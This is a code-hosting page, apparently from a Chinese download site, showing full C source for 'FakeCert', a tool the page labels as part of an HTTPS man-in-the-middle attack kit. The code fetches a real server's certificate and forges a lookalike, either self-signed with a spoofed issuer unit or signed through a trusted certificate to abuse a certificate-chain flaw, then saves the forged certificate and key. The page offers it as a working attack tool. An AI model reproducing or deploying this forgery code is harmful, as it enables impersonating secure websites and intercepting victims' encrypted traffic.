⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fcert.cpp

📁 俄国人编写的https中间人攻击代码:wsm。
💻 CPP
字号:
/*
 * FakeCert by Valgasu (valgasu@securiteinfo.com)
 *
 * a tool to generate a fake X509 certificate
 *
 */

#include <stdio.h>
#include <winsock2.h>
#include "openssl/x509.h"
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "openssl/pem.h"
#include "openssl/crypto.h"
#include "getopt.h"
#include "fcert.h"


int main(int argc, char *argv[])
{
  /* getopt */
  extern char  *optarg;
  register int opt;        

  /* Socket */
  SOCKET sock;
  struct sockaddr_in sin;
  struct hostent *hp;
  char   servername[255];
  int    sinlen = sizeof(sin);    

  /* SSL */    
  X509_NAME_ENTRY *ne;
  ASN1_OBJECT     *obj;		
  ASN1_STRING     *str;
  EVP_PKEY        *key;  
  EVP_PKEY        *trust_key;
  X509_NAME       *server_issuer;
  X509            *fake_cert;
  X509            *trust_cert;
  SSL_CTX         *ssl_ctx;
  SSL_CTX         *ssl_trust_ctx;
  X509            *server_cert;
  SSL	          *ssl;
  RSA             *rsa;
  char            fake_ou[1024];
  
  /* Others */
  FILE *fp_cert;
  FILE *fp_key;
  char fakecert[255];
  char trustcert[255];
  int  flag_server = 0;  
  int  flag_fake = 0;
  int  flag_trust = 0;
  int  i;


  /* Get options */ 
  while((opt = getopt(argc, argv, "hs:f:t:")) != EOF) {
    switch(opt) {     
      /* Help */    	
      case 'h' :
        usage(argv[0]);

	    return(EXIT_SUCCESS);      
     
	 /* Server name or ip */
     case 's' :
		strcpy(servername, optarg);
		flag_server = 1;
		break;	 

	 /* Name of the fake certificate */
     case 'f' :
		strcpy(fakecert, optarg);
		flag_fake = 1;
		break;	 
	 
	 /* Name of the trusted certificate */
     case 't' :
		strcpy(trustcert, optarg);
		flag_trust = 1;
		break;
	}
  }

  /* Verify options */
  if(flag_server != 1) {
    usage(argv[0]);

	return(EXIT_FAILURE);
  }

  /* Print information */
  printf("\n>> FakeCert by Valgasu (valgasu@securiteinfo.com) <<\n\n");

  /* Winsock init */
  wsock_init();

  /* SSL init */
  SSL_library_init();
  SSL_load_error_strings();  
  
  /* Connect to remote server */
  sock = socket(AF_INET, SOCK_STREAM, 0);

  if(sock == INVALID_SOCKET) {
	printf("Error: socket() error.\n");	
	WSACleanup();

	return(EXIT_FAILURE);
  }

  /* Resolve host name */
  if((hp = gethostbyname(servername)) == NULL) {
	printf("Error: gethostbyname() error.\n");   
	closesocket(sock);	
	WSACleanup();

	return(EXIT_FAILURE);
  }  

  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = *((unsigned long*)hp->h_addr_list[0]);
  sin.sin_port = htons(443);
  
  if(connect(sock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {	  		
    printf("Error: connect() error.\n");	  
	closesocket(sock);
	WSACleanup();

	return(EXIT_FAILURE);
  }   

  /* SSL connect */
  printf("+ Connection to https://%s\n", servername);

  ssl_ctx = SSL_CTX_new(SSLv23_client_method());
  ssl = SSL_new(ssl_ctx);
  SSL_set_connect_state(ssl);
  SSL_set_fd(ssl, sock);
		
  if(SSL_connect(ssl) < 0) {
    printf("Error: SSL_connect() error.\n");  
    SSL_free(ssl);      
	closesocket(sock);	
	WSACleanup();

	return(EXIT_FAILURE);
  }  
  
  /* Get server certificate */
  printf("+ Get X509 certificate\n");

  if((server_cert = SSL_get_peer_certificate(ssl)) == 0){
    printf("Error: SSL_get_peer_certificate() error.\n");  
    SSL_free(ssl);      
	closesocket(sock);	
	WSACleanup();

	return(EXIT_FAILURE);
  }
  
  /* Cleanup */
  SSL_free(ssl);
  closesocket(sock);
  WSACleanup();

  /* Create fake certificate */
  printf("+ Make fake certificate\n");

  fake_cert = X509_new();

  key = EVP_PKEY_new();
  rsa = RSA_generate_key(1024, RSA_F4, NULL,NULL); 

  EVP_PKEY_assign_RSA(key,rsa);
  X509_set_pubkey(fake_cert,key);

  X509_set_version(fake_cert,X509_get_version(server_cert));
  X509_set_serialNumber(fake_cert, X509_get_serialNumber(server_cert));  
  X509_set_notBefore(fake_cert, X509_get_notBefore(server_cert));
  X509_set_notAfter(fake_cert, X509_get_notAfter(server_cert));    
  X509_set_subject_name(fake_cert, X509_get_subject_name(server_cert));       
  
  if(!flag_trust) {
    /* Get server issuer */
    server_issuer = X509_get_issuer_name(server_cert);    

    /* Search OU and add space to fake certificate */
    for(i=0 ; i<X509_NAME_entry_count(server_issuer) ; i++) {
      ne = (X509_NAME_ENTRY *)X509_NAME_get_entry(server_issuer, i);
	  obj = X509_NAME_ENTRY_get_object(ne);		
	  str = X509_NAME_ENTRY_get_data(ne);

	  if(OBJ_obj2nid(obj) == NID_organizationalUnitName) {
	    if(str->type == V_ASN1_PRINTABLESTRING) {
          _snprintf(fake_ou, sizeof(fake_ou), "%s ", str->data);
		  X509_NAME_delete_entry(server_issuer, i);
		  X509_NAME_add_entry_by_txt(server_issuer, "OU", MBSTRING_ASC, (unsigned char*)fake_ou, -1, i, 0);
		}      	  	  
	    else {
          printf("Error: data type not printable.\n");  
  
	      return(EXIT_FAILURE);
		}

	    break;
	  }			
	}

    /* Set in fake certificate the fake OU */    
    X509_set_issuer_name(fake_cert, server_issuer);

	/* Self-sign the fake server */  
    X509_sign(fake_cert, key, EVP_md5());
  }
  else {
    /* Load trusted certificate for certificate chain vulnerability */
	printf("+ Load trusted certificate from %s\n", trustcert);
    ssl_trust_ctx = SSL_CTX_new(SSLv23_server_method());
  
    if(SSL_CTX_use_certificate_file(ssl_trust_ctx, trustcert,
       SSL_FILETYPE_PEM) == 0) {
      printf("Error: SSL_CTX_use_certificate_file().\n");

	  return(EXIT_FAILURE);
	}
	
    if(SSL_CTX_use_PrivateKey_file(ssl_trust_ctx, trustcert,
       SSL_FILETYPE_PEM) == 0) {
      printf("Error: SSL_CTX_use_PrivateKey_file().\n");

	  return(EXIT_FAILURE);
	} 
	
    if(SSL_CTX_check_private_key(ssl_trust_ctx) == 0) {
      printf("Error: SSL_CTX_check_private_key().\n");

	  return(EXIT_FAILURE);
	}  
  
	/* Modify fake certificate for certificate chain vulnerability */
    trust_cert = SSL_get_certificate(SSL_new(ssl_trust_ctx));;
    trust_key  = SSL_get_privatekey(SSL_new(ssl_trust_ctx));

    server_issuer = X509_get_subject_name(trust_cert);    
	X509_set_issuer_name(fake_cert, server_issuer);

    X509_sign(fake_cert, trust_key, EVP_md5());
  }    

  /* Save the fake certificate in file */
  if(!flag_fake) {
    strcpy(fakecert, FAKE_CERT);
  }

  if((fp_cert = fopen(fakecert, "w")) == NULL) {        
    printf("Error: unable to save fake certificate.\n");

	return(EXIT_FAILURE);
  }
   
  if((fp_key = fopen(fakecert, "a")) == NULL) {        
    printf("Error: unable to save fake certificate.\n");

	return(EXIT_FAILURE);
  }    

  PEM_write_X509(fp_cert, fake_cert);
  PEM_write_PrivateKey(fp_key, key, NULL, NULL, 0, NULL, NULL);

  /* Print information */
  printf("+ Save fake certificate to %s\n", fakecert);

  fclose(fp_cert);
  fclose(fp_key);
  X509_free(fake_cert);
  EVP_PKEY_free(key);
        
  return(EXIT_SUCCESS);
}


void wsock_init(void)
{
  /* Winsock */
  WORD    wVersionRequested; 
  WSADATA wsaData; 
  

  wVersionRequested = MAKEWORD(1, 1);  

  /* Startup Winsock.dll */
  if(WSAStartup(wVersionRequested, &wsaData) != 0) {
    printf("Error: unable to start winsock.\n");
	
    exit(EXIT_FAILURE); 
  }
 
  /* Check if Winsock.dll support 1.1 version */
  if(LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1 ) {         
    printf("Error: Winsock.dll doesn't support 1.1 version.\n");
    WSACleanup(); 

    exit(EXIT_FAILURE); 
  }  
}


void usage(char *name) 
{
  printf("\n>> FakeCert by Valgasu (valgasu@securiteinfo.com) <<\n");

  printf("\nusage: %s [options]\n\n", name);	    
  printf("options:\n");
  printf("  -s        server name or ip\n");        
  printf("  -f        fake certificate file [fake.crt]\n");        
  printf("  -t        trusted certificate file\n");        
  printf("  -h        help\n");    
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -